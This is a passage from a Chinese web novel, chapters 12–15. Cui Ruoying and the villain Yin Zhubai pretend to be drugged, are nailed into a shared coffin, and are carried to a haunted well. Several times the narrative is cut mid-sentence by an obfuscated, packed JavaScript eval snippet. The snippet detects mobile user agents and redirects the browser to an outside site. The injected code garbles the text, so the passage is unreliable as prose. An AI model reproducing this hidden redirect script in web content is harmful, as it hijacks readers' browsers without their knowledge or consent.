最后看了眼房里的陈有文,崔若盈直起身子,和殷逐白一起离开了村长家。 悄无声息地回到房间,崔若盈换下湿透的衣服,又简单擦了擦头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640476|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便和衣躺回床上。 朦胧的天光透过窗纱,描绘出房内家具棱角分明的轮廓,渐渐地,灰蓝变成了浅蓝,大雨变成了小雨。 崔若盈本来以为自己睡不着,可不知不觉中,她还是睡了过去。等她再醒来的时候,金色的阳光已经均匀地铺洒在清晨的风中。 天晴了。 崔若盈洗漱完,元气满满地推开房门。陈三婶已经做好了早饭,饭就摆在堂屋里,她自己则不知道去哪里了。 殷逐白还坐在昨天那张椅子上,端正地沐浴着清晨的阳光。 他今天穿了件白衣——依旧不是什么名贵的料子,连花纹也只有简单的两处,不过再简单朴素的衣服穿在他身上,都能让人产生一种昂贵的错觉。 一缕日光落在他的脸上,形成一块形状模糊的光斑。察觉到崔若盈走近,他偏了偏头,那光斑也跟着偏移到他突出的喉结上。 “早啊。” 崔若盈随手跟他打了个招呼,坐在饭桌前。早餐意外地丰盛,柔软的馒头散发着粮食特有的香气。 那香气若是有颜色,肯定和阳光一样,都是灿烂的金色。 她是真饿了。 “……崔姑娘。”殷逐白看她拿起馒头,欲言又止。 崔若盈叼着馒头,疑惑地看了他一眼。 “今天的饭里有毒。” 崔若盈:“……” 完蛋,大意了。 崔若盈松开嘴,看着馒头上那个浅浅的牙印,陷入了沉思。 她平时很谨慎小心的,这次可能是昨夜淋了雨,大脑才进了水。 幸好她就咬了一下,应该,大概……没事吧? 殷逐白歉疚道:“对不起,崔姑娘,我刚想提醒你,你就已经吃了。” ……别说得她好像饿虎扑食一样啊啊! 崔若盈把馒头丢到碗里,装成什么也没发生的样子:“没事,不怪你。这里面下的什么药?” “是雍州特有的一种药。这种药单独使用,只是普通的迷药,但如果结合一种香料,就会产生类似散灵散的效果。” 散灵散能暂时散去除妖师体内的灵力。 他这么一说,崔若盈立刻想起自己房间里有一种淡淡的香味:“原来他们早就布置好了。” “不过我看这饭菜里下的药,分量并不多。” 殷逐白打量着手上的东西,就像在打量一件精美的艺术品。然而他手里拿着的,只是一个被下了药的圆润馒头。 “恐怕要连吃两三顿,才能起效果。” 知道有猫腻,两人肯定不会再吃这饭菜,于是就把饭菜收了一部分到空间符箓中,伪装成吃了的假象。 做完这些,两人又离开陈三婶家,一路避开行人,来到了昨晚那古怪的宅子前。 “就是这里。” 在明媚的日光下,宅子没有了昨夜的幽清诡谲。宅前柳树嫩绿,枝条上还残留着暴雨的余韵,门口土灰色的泥水也闪闪发光,一切都是那么正常。 殷逐白抬手敲了敲门。突出的指节与黑木门碰撞,像啄木鸟一样,发出的“笃笃笃”声响。 理所应当地,无人回应。 殷逐白翻覆手掌,转而去推门。掌心碰上木门,略一用力,门便应声而开。 原来陈有文等人昨夜走得匆忙,门居然没关好,正好便宜了他们两个。 12. 崔姑娘,难道在你心里 大门敞开一条缝,露出门后的景象。 门内没有想象中的鬼气森森,只有一片荒芜。齐膝的荒草在废弃的庭院中肆意生长着,阳光照在柔韧的草叶上,泥土还带着几分潮湿。 “好像……什么也没有。” 在庭院里转了一圈,没发现什么特别的东西,也没感觉到妖气。 忽略昨晚的事,这只是一座普通到不能再普通的荒宅。 崔若盈一边说着,一边避开那些荒草。这种草的边缘十分锋利,稍不留意,就会被割出一道又痒又痛的伤痕。 正走着,却见前方的殷逐白半蹲下来,查看地上的泥土。崔若盈快步走过去,探头看了一眼,随即“咦”了一声。 “这里有脚印。” 脚印深深地篆刻在泥土上,还没干透,一定是昨晚留下的。 崔若盈站直身体,朝湿润脚印朝向的地方走去。走了几步,她的身影就没入萋萋荒草中,只留下一阵窸窸窣窣的声音。 几秒钟后,她的声音再度传入殷逐白耳中。 “这里有一口井,井里还有水呢。” 崔若盈探头看向井中。井中水波粼粼,微光闪烁间,隐约映出她明丽的面容。 殷逐白走到她身边,骨节分明的手抚上灰青色的井沿。崔若盈瞥了一眼,恍惚之间,他的肌肤上好像也多了一层青色。 “是结界。” “结界?” “嗯。”殷逐白收回手,“这种结界很坚固,不好用蛮力破除。” 崔若盈好奇:“连你也破不开吗?” 殷逐白轻笑一声。他的笑声也如天边的薄云,飘忽不定。 “崔姑娘,难道在你心里,我是个无所不能的人吗?” 崔若盈坦然道:“是啊。” 连主角都被反派玩弄于股掌之中,嗯,怎么不算无所不能呢? “那崔姑娘真是高看在下了。” 殷逐白笑着说。光从他的脸上,崔若盈看不出他现在的心情到底如何。 “这结界我的确能破开,不过需要时间。结界下的妖若是察觉,肯定会逃走,那我们之前的心力就白费了。” 说着,他转过身,朝着来时的路走去。崔若盈快步跟上,若有所思道:“你的意思是……我们将计就计?” 既然明着闯不行,那就只能暗中潜入。正好陈三婶那边也要对他们下手,两人只要佯装中毒,陈有文等人就会自然而然地把他们送进去。 殷逐白微笑:“崔姑娘果真冰雪聪明。” 明明是夸赞的话,崔若盈却怎么听怎么别扭。 “哪里哪里。”崔若盈打了个哈哈,飞快转移了话题,“那我们先回去吧,陈三婶见不到我们,说不定会起疑心。” 两人原路返回,没花多少时间,就回到了陈三婶家。 很不巧,他们回去的时候,陈三婶正在院子里晾衣服,两人一进门就被她撞了个正着。 崔若盈心道不妙。 不过出乎她意料的是,陈三婶只是淡淡瞥了两人一眼,说了句“回来了”,就继续晾衣服,对两人的行程漠不关心。 而且,从昨晚她对陈有文的态度来看,她和陈有文的关系不算融洽,也不赞同他服用极乐丸。 崔若盈眼珠一转,脸上再次露出比阳光还明媚的笑容。她拉着殷逐白凑到陈三婶身边,接过她手里的木盆:“陈三婶,我们帮你晾衣服吧!” 陈三婶瞥她一眼,“嗯”了一声。 晾衣服的时候,崔若盈有意无意地和她套近乎。她常年游走于各个小世界做任务,对打探消息这套,可谓是信手拈来。 殷逐白抬手帮她拉平衣服上的褶皱。他灰色的影子落在干净的衣服上,几滴水沿着他的手腕流下。 他没有在意那几滴水。 他在看着崔若盈。 她的笑容那样明媚、灿烂,还带着几分狐狸般的狡猾。她好像对所有人都是这样友好,总是很讨人喜欢。 只有殷逐白知道,这份友好,就是狐狸的伪装。这是个只有他知道的秘密。 而面对崔若盈的热情,陈三婶则是保持沉默,一言不发。 直到衣服全部被挂在晾衣绳上,水滴在衣裳的一角汇聚,在阳光的映照下,沉沉地砸在地上。 陈三婶看着透光的湿衣服,沉默了几秒钟,忽然道:“我女儿若是没病死,应该也有你这么大了。” 崔若盈心头一跳,小心翼翼问道:“我住的那间房……是你女儿的?” 陈三婶却不回答了。她将身子转到另一面,避开崔若盈的视线,冷冰冰道:“不想死的话,现在就走。” 说完这句话,她转身离开,完全不给崔若盈再询问的机会。 “她在提醒我们。” 殷逐白放下卷起的衣袖。刚刚晾衣服的时候,他的袖口贴近湿衣服,也被濡湿了。 “崔姑娘,你真的不想走吗?再留在这里,说不定会丢掉性命呢。” 当说到“丢掉性命”四个字的时候,他可以加重了咬字,好像在强调什么。崔若盈回过头看他。 只见日光如瀑布一般倾泻。他散发着黑色流光的发间多了几缕金色,只是那金色没能给人带来丝毫暖意,只让冷风更冷,冷到刺骨。 察觉到崔若盈的目光,他偏了偏头:“不想走吗?” 崔若盈摇摇头:“我不走。” 攻略对象还留在这里,她怎么走? 殷逐白喟叹道:“崔姑娘,你很聪明。但这次,你也许做出了一个不太正确的选择。” 不太正确——但也不是完全错误。 崔若盈听懂了他的潜台词,但权当什么都不知道。 这一日风平浪静。 浓重的阴云随着昨夜的暴雨消散,金色的阳光照耀着山脚下的内河村,微风带着春天的暖意。 一场暴雨过后,远处的山影覆上了一层绿色,间或夹杂着点点粉红。太阳西斜,连绵的群山沉没在暮色中,像是绣满金粉色花朵的翠绿色纱幔。 崔若盈的鼻尖萦绕着一缕香味。 但那不是山间花朵的味道。她顺着香味看过去,便看到了端坐在一边的殷逐白。 崔若盈的视线落在他干净的衣袖上,顺着衣褶一寸寸向下,最终落在他的腰间。那里挂着一个精致而小巧的香囊,味道就是从香囊中传出来的。 两人初见时,他身上传来的,就是这种古朴优雅的熏香味。 这味道将他本来的气味挡了个一干二净。 “怎么了?” “没什么……”崔若盈顿了顿,又忍不住问道,“你很喜欢熏香吗?” 殷逐白轻描淡写:“只是习惯罢了。” 说着,他看了眼天色:“太阳快要下山了。” 陈三婶今天送来的饭食全都是有毒的。若猜得不错,等天一黑,他们就会动手,把两人装进棺材,送入魔窟。 天渐渐暗了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没错。吞下极乐丸,人就能看到自己最向往的景象。权力、财富,还有……死去的亲人,虽然知道是假的,但村民们还是对它上了瘾。” 崔若盈回忆起陈有文吞服极乐丸时的场景,顿时了然:“所以,为了得到极乐丸,内河村的村民开始截杀路人?” 陈三婶默默点了点头:“后来失踪的人太多,来的外人少了,祭品就在村民里抽签选择。后来,又有许多除妖师来到了村子里。因为除妖师能换取更多极乐丸,村民又开始对除妖师出手。” 她看了崔若盈和殷逐白一眼。 “有些除妖师中了迷药,也有一些……像你们一样,识破了我们的计划,但主动进棺材探路,结果一去不回。” 崔若盈的视线挪到殷逐白身上。照陈三婶的说法,殷家那几名除妖师多半遇害了。 殷逐白脸上神色淡淡,没流露出什么特别的神情,只是低声道:“看来在这里作乱的妖,实力不弱。” 当然,这个“不弱”只是相对普通除妖师而言。 陈三婶的声音陡然变得冷峻起来:“听我的,你们现在走还能留住命。” 说着,她转头看向两人,却见崔若盈和殷逐白都坐在桌边,完全没有离开的意思。 烛光同时照亮两张脸。两道身影藏在光芒中,长长的影子在他们身后交汇,融合成一个巨大的黑色怪兽。 陈三婶张了张口,催促道:“你们……” 话音未落。 咚咚咚。 这时,门被敲响了。 13. 他的指尖移动着 杂乱的脚步声如雨点般袭来,有什么东西被重重放在庭院中,发出一声闷响。门被打开,陈有文苍老的脸暴露在烛火中。 “昏过去了吗?” 沙哑的声音响起,崔若盈感觉一道尖锐的视线扫过自己的脊背。她把头埋在桌上,装成昏睡过去的样子,没有动。 “你把人搬走吧。”陈三婶淡淡道。 更多更杂乱的脚步声裹挟着夜晚的冷气,一股脑地挤到屋子里,宽敞的堂屋中顿时挤满了人。 几个壮汉走到崔若盈身边,把她拎了起来,拖着她朝外走去。崔若盈心里暗骂,却不得不像是毫无知觉的死鱼一样被拖出房间。 但想到殷逐白那爱装模作样的家伙也是被这么拖出来的,她又幸灾乐祸起来。 终于,崔若盈被壮汉们拎到了院子里。几人小声交谈了什么,就抓住她四肢将她抬起,装进一个四四方方的逼仄箱子中。 潮湿的木头味道钻入鼻腔,让崔若盈有些不适。她按捺住睁眼的想法,被袖子遮挡住的手指轻轻动了动,指尖触碰到了光滑冰冷的木料。 ——是棺材。 她心中升起这样一个念头。还没等崔若盈再接着想下去,那几个壮汉的脚步声又响起来,前前后后地忙活着。 什么东西被放到她的身边,沉沉地靠在她的肩膀上,随即喷薄到她颈侧的,是细细密密的呼吸声,热气一下一下,轻柔地刮蹭着她的皮肤。 那不是什么东西,而是殷逐白! 崔若盈瞳孔地震。 他们把殷逐白和她放在一个棺材里?! 棺材内狭小逼仄,盛满了黑暗。黑暗就像放大镜,任何微小的感知穿过黑暗,都被突兀地放大了几十倍。 崔若盈闭着眼。但她能感觉到,殷逐白就在自己身边。 他靠着她,一动不动,还真像个死人。若非还能感觉到他的呼吸,崔若盈真觉得他已经死去多时。 殷逐白的体温透过两层薄薄的衣料传过来,很冷,像是被镇压在冰川下的死人一样冰冷。这冰水般冷然的温度与他温暖潮湿的呼吸格格不入,让崔若盈更是不自在极了。 她真想动一动。 幸好天色已晚,几个壮汉动作匆忙,没有注意到她僵直的后背。 把两人装进一个棺材后,他们急匆匆地封上棺材盖。 令人牙酸的木头摩擦声过后,最后一点光芒也被浓稠的黑暗吞噬。头顶上传来沉闷的敲击声,木屑随着震动纷飞。 他们想用钉子将棺材封死,以免里面的人逃出来。 崔若盈睁开眼。入目所及,便是一片伸手不见五指的浓重黑色。 看不清周围的景象,更看不见身边的人。这种最原始、最纯粹的黑包裹着她,让她感到一阵沉闷的无力感。 钉钉子的声音停了下来,棺材被彻底封死。外面的人似乎说了些什么,但棺材板太厚,几乎隔绝了外界的一切声音。 随后,棺椁被抬了起来,像是行驶中的船,被海浪抛起、又落下,顺着风的方向,晃晃悠悠地前进。 “崔姑娘。” 幽幽的声音擦着她的耳朵飞过去。崔若盈倏地一侧头,却只见到了一片黑暗。 声音藏在黑暗中,在那一瞬间,崔若盈恍惚觉得,那是夜晚在轻声呼唤着她。愣了一秒,她才反应过来。 原来呼唤她的不是黑暗,而是殷逐白。 崔若盈努力支起身子,可惜棺材太小,她只能蜷缩在黑暗的一角,艰难回应:“我在这里。” 那一团暗色中没有传来殷逐白的回应。崔若盈定了定神,借着不知从何处传来的一缕暗光,窥见了殷逐白黑色的轮廓。 他也半撑着身子,靠在棺材的另一面,看样子是正对着她。棺材里太暗,崔若盈看不到具体细节,但她知道,殷逐白一定在看着她。 “崔姑娘。” 殷逐白又叫了她一声,声音很轻很轻。崔若盈看见他抬起手掌,下一秒,他的掌心就亮起点点金色的光芒。 光芒像是夏夜纷飞的萤火虫,像是绚烂的烟火,又像是点缀在夜空之中的繁星,在棺材中美丽地纷飞着,虽不十分明亮,却仍旧能驱散一部分的黑暗。 金色的光点飞到崔若盈的面前,好奇地落在她的肌肤上,微微发热。借着微光,崔若盈看到了殷逐白的脸。 他与她离得很近很近。只要谁稍微动一下,就会难以避免地碰在一起。如今两人相安无事,已经是各自克制过的结果。 这也很正常。毕竟棺材是单人棺材,现在挤在棺材里的,却是两个成年人。 崔若盈轻咳了一声。 之前周围一片黑,她就感觉还好,但现在有了光源,看着近在咫尺的殷逐白,她心里反而有点不自然起来。 不过,想到这也许是个攻略的好机会,崔若盈心里那点不自然又消失得一干二净,开始主动和殷逐白搭话。 “他们这是要带我们去荒宅了?” 崔若盈侧耳听了听外面的声音。在萤火的微光下,她棕色的眼眸闪动着,像是水面上的粼粼波光。 殷逐白慢条斯理道:“看样子是的。” 反派城府极深,总是一副不紧不慢的样子。崔若盈很难在他脸上看到局促和尴尬。 所以说,他是反派嘛。 反派说完这句话,又饱含深意地停顿了两秒,目光移到崔若盈身上。点点金光闪烁,他美丽的面孔也随之闪动,像是藏匿在棺椁中的美艳妖鬼。 “崔姑娘,你害怕吗?” 妖鬼问道。轻柔的声线中带着几分微不可见的蛊惑,好像在对崔若盈循循善诱,引诱她说出肯定的答案。 崔若盈眨眨眼:“我当然不害怕。” 她不怕荒宅古井下的妖怪,她只怕殷逐白发疯。 “反正有殷家主在,几只妖怪,有什么好怕的?” 听了她的话,殷逐白低低地笑起来:“那可未必,崔姑娘。” 一阵风不知从何处吹过来,拂动他的发丝。两人离得很近,那柔软的发丝就向云一般过来,蛛丝一般缠绕在崔若盈的颈间。 崔若盈颈间一阵凉意,好像被那发丝紧紧地缠绕住了一般。她忍不住向后躲了躲,指尖无意间擦过腰后面的木料,顿时“咦”了一声。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640478|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷家主,这木头上还刻着字呢。” 崔若盈小心地挪了下身体,露出身后的木板:“你摸摸?” 殷逐白停顿了一下,这才伸出手。 刻字处在崔若盈的背后,殷逐白想要碰到,手臂必须越过她的身体。在这狭窄逼仄的空间中,任何轻微的动作,都会进化成暧昧的触碰。 殷逐白很小心。即使空间不足,衣裳和发丝很是凌乱,他也未曾露出什么狼狈的表情。 他抬起手,苍白而纤细的指尖触碰上棺木的边缘,轻轻地摸索着,像是在分辨着什么。 宽大的衣袖流云般垂落,随着他的动作堆积在崔若盈的身上,一眼望去,她好像被黑暗拥在怀中。 崔若盈的呼吸轻了几分。 实际上,他的动作很小心,两人没有过多的触碰。 殷逐白摸索着棺木,用指尖描摹出上面篆刻的小字。那字很粗糙,歪歪斜斜,毫无美感可言。 崔。 他摸出了第一个字。 再向下,是个“若”字。 他已经知道,这上面写着的是什么了。 可即便如此,修长的手指若无其事地缓慢移动着。棺木的侧壁越向下越潮湿,让人想起昨夜的暴雨。殷逐白摸着那几个粗糙的字,指尖也染上几分木头的湿意。 然后他摸到了第三个字。那个字深深藏匿在朽木的气味中,与它的腐朽味道融于一体,好像它本来就是棺椁的一部分。 “崔若盈。” 他的声音像蝴蝶飞散在闷热的棺椁中。 “嗯?” 崔若盈抬了抬头。 她有些意外——殷逐白为了维持自己彬彬有礼的人设,很少这么连名带姓地叫她。 “崔姑娘。”殷逐白收回手,“这上面刻的,是你的名字。” 崔若盈惊讶道:“原来是我的名字。” 她的手探到后面,粗暴地摸了几下。 “还真是……不对,边上还有个名字呢。好像是你的……假名?” 为了掩人耳目,殷逐白这次来内河村,用的是假名字。 崔若盈说着说着,突然想起在探查棺材铺时,那个棺材匠问了两人的名字。这棺材该不会是在那时候做的吧? 所以他那里的棺材那么多,甚至不愿意多腾出来一个,非要让他们两个合葬吗? 就算合葬,也要弄宽敞点吧! 崔若盈心中暗自腹诽,余光却见殷逐白正在观察着她。 他很喜欢观察她。 就像小猫蹲守在老鼠洞前,暗自观察着老鼠的一举一动。 当她走路时、动作时、与别人交谈时,他的目光总是这样落在她的身上。 崔若盈已经不是第一次看到他观察着自己的冷酷模样。 他究竟在看什么呢? 像是猫观察老鼠那样,出于捕猎的天性? 又或者,他仅仅觉得她有趣,所以就像小孩子每天盯着自己心爱的玩具那样,总是观察着她? 崔若盈搞不懂反派在想些什么。于是,她就好像什么也没发现那样,自然而然地移开了视线。 14. 潮湿的,温热的 又一阵幽幽的冷风袭来,崔若盈的视线朝着风吹进来的地方望过去,不经意间瞄到了一点光芒。 “哎?” 她立刻向前动了动,想要看清那点光芒是怎么回事,全然没注意到两人之间本就危险的距离因自己的动作骤然拉近。 “这里怎么有个小洞?” 崔若盈用指尖按住棺材侧面那个硬币大的孔洞,外界呼啸的风就全部吹在她的手指头上,凉凉的。 殷逐白也看过来:“也许是换气孔。” 古井结界下的那妖怪只要活人,不要尸体,给这棺材开个气孔,想必是为了防止被选中的人闷死在里面。 崔若盈凑近气孔,闭上一只眼,另一只眼则是朝着外面张望。 夜色已深,银色的月光落在街道上,清辉洒落满街。 几个抬棺壮汉的身影踏着满地月色前进着,他们的影子紧跟在地上,随着他们的动作起起伏伏。 陈有文照常在最前面领着路。 他手中的灯笼颤颤巍巍地摇曳着,模糊的光与月芒掺和在一起,顺着换气孔照在崔若盈的眼睛上,在她眸中映出点点光芒。 崔若盈眨了眨眼。 她注意到,十几步开外的地面上出现了一处圆润的隆起,耿耿月光在那处隆起上流泻成河,一棵垂柳随风摇摆,柳树羽毛般的树叶浸了月光,也化作澄明的银色。 “殷家主,你快看。”崔若盈小声道,“前面就是桥了。” 说着,她让出位置,示意殷逐白去看外面的情况。 一束光从小孔中落到她的脸上。崔若盈趴在棺材里,半仰着头看着他,一双眼亮晶晶的。 任谁看着那双眼,都说不出半句拒绝的话来。 不过,这个“谁”的范围里,绝对不包括坏事做绝的阴暗批反派殷逐白。 殷逐白望着她,一直望了好一会儿。直到崔若盈被他看得心里发毛,浑身不自在,他才低低地“嗯”了一声,把头凑了过去。 崔若盈把下巴搁在手上,趴在一边看着他。 一缕光顺着小孔照了进来,落在他的脸上。 崔若盈分不清那是月光,还是灯笼的光,总之,那光芒轻柔地洒在他的眼睫上,就像是从天空中飘落的白雪。 纤长的睫毛扇动了一下。只是那白雪未曾被他抖落,而是固执地在他脸上流连。 几秒后,崔若盈感觉棺椁微微倾斜,晃动的幅度也大了点。她凑到殷逐白身边,轻声询问道:“怎么样?是不是上桥了?” 殷逐白轻微地偏了偏头,光芒躲到了他的发间,衬得他的长发愈发乌黑。他嘴唇动了动,似乎小声回答了句什么。 棺材里闷闷的,他的声音也很沉闷。崔若盈有点没听清。 见殷逐白似乎想离开换气孔附近,她便用手肘支撑着上半身,刻意凑近小孔,想要再看看外面什么情况。 然而,殷逐白却忽地抬起头。白色的光芒重新回到他的眼睫上,在他眼中凝聚成一个宁静的小小光点。 崔若盈却已经刹不住车了。 棺材狭窄,随着那四个抬棺人的脚步而浮动。 陈有文和抬棺人完全把他们当死人,自然不顾两人感受,棺材时而平稳,时而又像被浪头拍上天空的小船。 在这种环境下,保持平衡十分困难。猝不及防间,崔若盈的身体失去了控制,受制于狭窄的空间,她无法转身、无法回头,只能莽撞地倒向刚刚心中计划好的落点。 殷逐白还在那里。 即使是反派,恐怕也无法预料到,在这黑暗、闷热、潮湿而逼仄的狭小空间里会发生什么。 崔若盈心惊肉跳地撞到反派怀中,像一只因超速而不幸撞到树上的鸟。 他的怀抱带着冷酷的、仿佛夜色浓缩而成的香气,这股香气被名贵的熏香味道遮盖。 崔若盈先是闻到了这股香气,然后才感觉到了他躯体冰冷的温度。他冷得像是尸体,但奇怪的是,这具尸体的皮肤仍然紧致有弹性,和活人无异。 这种奇特的反差让棺内的气氛更加诡谲,也让崔若盈的心因惊慌而猛烈地跳动起来。 崔若盈现在只想快些从殷逐白的怀里出来,以规避即将到来的杀身之祸。 “对不起!” 她急促地说了句,语速快到连她自己都没听清。 崔若盈像个即将被沼泽吞没的人一样,费力地挣扎着,想要脱身。 可狭小封闭的棺椁卡住了她的身体,崔若盈无法抬头,无法转身,连手也只能无措地按在固定的位置——上面是殷逐白的脸,下面是殷逐白的肩。 崔若盈都没碰过。但想也知道,无论碰哪里都是死罪难逃。 她用手掌支撑起身体。掌中传来丝滑的触感,有什么东西在掌下流动,崔若盈感觉自己按在了一块名贵的丝绸上。 但其实不是。 她按住的,是殷逐白的散乱的头发。 而殷逐白,他既没有推开她,也没有出言安抚。他静静地半躺在黑暗中,像是一个不会动也不会说话的人偶,就这么看着她。 又是一阵颠簸。 海浪一般的颠簸。 棺木摇晃。晃动间,崔若盈一切的努力都化为乌有。 她被黑暗扯回远处,跌落的同时,崔若盈的唇不受控制地擦过他的颈间凸起的喉结,整个人都跌入由乌黑长发编织成的漩涡之中。 崔若盈的动作很轻柔,擦过他脖颈的力度,也不比蜻蜓掠过水面的力量强上多少。 柔软的嘴唇,在他颈间停留的时间,也不足千分之一秒。可是那短暂如火花的一瞬,却让两人的身体同时僵住。 崔若盈的心跳都停了。 那一刻,时间好像都陷入了凝滞。棺材里的黑夜被无限拉长,伸手不见五指的黑暗中,她的血液几乎倒流。 刹那间的沉寂过后,她的心脏又在胸膛中沸腾,心跳声比外面杂乱的脚步声还要乱上几分。 崔若盈不敢乱动,她僵在原处,只有一双眼睛不安地四处乱飞。 殷逐白会不会恼羞成怒杀了她? 毕竟据她这几日的观察,殷逐白此人很爱干净,也不喜欢与任何人有肢体接触。 而他现在对她的好感度是【-13】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640479|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 毫无疑问,在殷逐白心里,她比任何人都要令人讨厌一点儿。 令人窒息的闷热包裹着两人。崔若盈忍不住开始胡思乱想。 光顺着孔洞照进来。殷逐白用灵力凝结成的那些萤火虫一样的光芒还在棺材中游荡,还有几点光幽幽地飘到两人的面前,短暂地驱散了黑暗。 崔若盈宁愿这里只有一片黑暗。 她捏了捏掌心,偷偷抬起眼,看向殷逐白。以她的角度,最先看到的,是殷逐白分明的下颌线。 再动一动,就能看到他浓密的睫毛和乌黑的眼珠。 他垂着眼帘,也在看着她,神情晦暗不明,一张面无表情的脸上,似乎有薄云在堆积。 他……要杀了她吗? 奇怪的是,在那一瞬间,他心里最先冒出来的,并非这个想法,而是一种更怪异,更……令他不解的念头。 睫毛轻轻颤动起来。殷逐白近距离地看着崔若盈的脸——他整日观察着她,对这张脸本来并不陌生。 她皮肤很白。和他的苍白不同,那是一种很健康的白色,像是最名贵的珍珠。 一双眼则是常常带着笑意。心虚的时候,眼神会四处乱瞄,像是刚偷吃过鸡的狐狸。 就像现在这样。 至于嘴唇…… 他的脖颈上,还残留着她嘴唇的柔软触感。那触感紧紧地抓着他,吸附在他的身上,挥之不去,逃之不得。 崔若盈还在偷偷看他。脸还是那张熟悉的脸,他却总觉得她有些陌生——也许陌生的不是她,而是此时此刻,在他胸腔中翻涌,令他不得安宁的情绪。 殷逐白本该杀了她,但他没有。 这一点,不仅出乎崔若盈的意料,甚至也出乎他自己的意料。 “崔姑娘。” 殷逐白若无其事地撑起身体。他声音如常,就好像什么也没发生那样。 衣衫因这番动作而凌乱,袖子松松垮垮地卷到他的手肘,露出因常年不见日光而苍白的小臂。 崔若盈离他那么近,甚至能看到他裸露手臂上的青紫色血管。她有些紧张地抿了抿嘴角,抬眼看着他。 恍然间,她觉得自己像是站在法庭上,等待着法官审判的重犯。 殷逐白抬起那只手。手掌是奔着她脖颈来的,纤细且骨节分明的手指在她脸上打下阴影。 可是,那只手没有掐住她的脖子,只是轻轻推了推她的肩膀,示意她挪开一点儿。那动作称得上温柔。 崔若盈心中陡然涌现出几分不可思议来。 不是吧?殷逐白就这么轻描淡写地放过她了? 虽然本来也不是什么大事,但这可是反派!对她好感负数的反派! 反派这是……转性了? 不对不对,殷逐白这家伙,崔若盈宁愿相信他变性,也不相信他转性。 “崔姑娘?” 以为她没听见,殷逐白又唤了一声。崔若盈小声叫了句“殷家主”。 两人离得太近,她说话时产生的热气就这么喷在他的锁骨上。温暖的、潮湿的氛围将他裹住,令他不自觉地蹙起眉。 15. 抱住他 崔若盈反应过来,撑起身体朝着一边挪去。有了殷逐白配合,两人很快就分开。 棺椁摇晃,海浪般上上下下,崔若盈只觉得自己的心也随着棺材的晃动,而变得七上八下。 她后背抵住冰冷潮湿的棺木,忍不住看向殷逐白。 他的脸暴露在飞舞的金光之中,黝黑的眼瞳中光芒闪烁,忽明忽暗,不知在思索什么。 两人谁也没有说话。棺椁内只剩一片令人窒息的死寂。 内河村不大,花十几分钟时间,就能从村头走到村尾。 可崔若盈现在却觉得这短短的十几分钟被无限拉长,长到近乎永恒,那摇晃的棺材,好像永远不会停下来一样,在棺材中酝酿着的,是同样漫长的寂静与黑暗。 终于,不知道过了多久,晃动停止了。 四名抬棺人几乎同时停下了脚步,在原地站定。棺材外传来十分低沉的说话声,声音像是雨中烛火一般微弱。 崔若盈从换气孔朝外窥去,正好看见陈有文推开荒宅那扇青黑色的大门。 随着门户敞开,一阵阴风徐徐吹来,即使她身在闷热的棺材中,也不免感受到了一阵彻骨的寒意。 好冷。 她忍不住缩了缩手臂。 冷风仿佛从雪山上直接吹来的一样,直接将人从温暖和煦的春日,带到了寒风凛冽的严冬。崔若盈甚至闻到了风雪的味道。 可顺着换气孔一看,敞开的门后仍旧只有萋萋荒草、泠泠月光。 “是妖气。”殷逐白道,“看来,古井的入口被他们主动打开了。” 崔若盈“啊”了一声。她并不是刻意敷衍,只是一时间不知道该回答些什么。 幸好,短暂的滞留后,四个抬棺人再度抬起脚步,走进满院荒草中。 月色荒凉,纤细的草尖染上芦苇般的银白,随风轻轻摇曳着。抬棺人毫不怜惜地趟过荒草丛,十几步之后,他们又停了下来。 再前面,就是那口古井了。 “停下吧。”陈有文命令道。 下一秒,两人头部所在的位置传来木石相撞发出的脆响,棺材微微倾斜,似乎被搁置在了什么东西上。 崔若盈心中升起了一种不妙的预感。 他们该不会想…… 脑海中的念头还没掠去,棺外就传来陈有文冷酷且没有任何情绪的声音。 “把他们推下去。” 崔若盈:!!! 她万万没想到,下井的方法如此简单粗暴。 其实据她之前观察,古井不算深,但那是在结界未开的情况下。 现在结界入口打开,那妖怪也不知在结界下开辟了多大的空间,就这么被推下去,搞不好会被摔得尸骨无存。 崔若盈忍不住攥紧了手掌,嘴唇也不自觉地绷紧,绷成一条看着十分不近人情的线。 ——她很少露出这样灰白色的表情。 殷逐白想着。 崔若盈是彩色的。像是一幅有着鲜明色彩的画,无论画中人是笑是哭、是快乐还是沮丧,她的色彩都永远鲜明。 即使在生死之间,他也未曾见她露出这种灰败的表情。 于是,他问道:“你怕高?” 崔若盈下意识地想要否认。 